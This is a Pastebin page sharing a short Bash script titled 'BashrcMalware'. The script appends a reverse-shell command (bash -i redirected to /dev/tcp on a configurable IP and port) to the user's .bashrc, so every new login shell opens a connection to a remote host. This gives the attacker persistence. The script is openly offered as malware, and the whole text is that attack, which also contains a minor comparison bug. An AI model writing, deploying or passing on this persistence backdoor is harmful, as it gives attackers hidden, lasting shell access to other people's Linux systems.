Advertisement
FlyFar

BashrcMalware - A linux malware that exploits .bashrc files on Linux!

Jul 10th, 2023
930
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 0.38 KB | Cybersecurity | 0 0
  1. #!/bin/bash
  2. currentDir=$PWD
  3. ipaddr=127.0.0.1 # Change This
  4. port=4444 # Change This
  5. command="bash -i >& /dev/tcp/$ipaddr/$port 0>&1" # If you want you can change also this
  6.  
  7. function main {
  8.   if [ currentDir == "/home/$USER" ];
  9.   then
  10.     echo $command >> .bashrc
  11.   elif [ currentDir != "/home/$USER" ];
  12.   then
  13.     cd /home/$USER
  14.     echo $command >> .bashrc
  15.   fi
  16. }
  17.  
  18. main
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement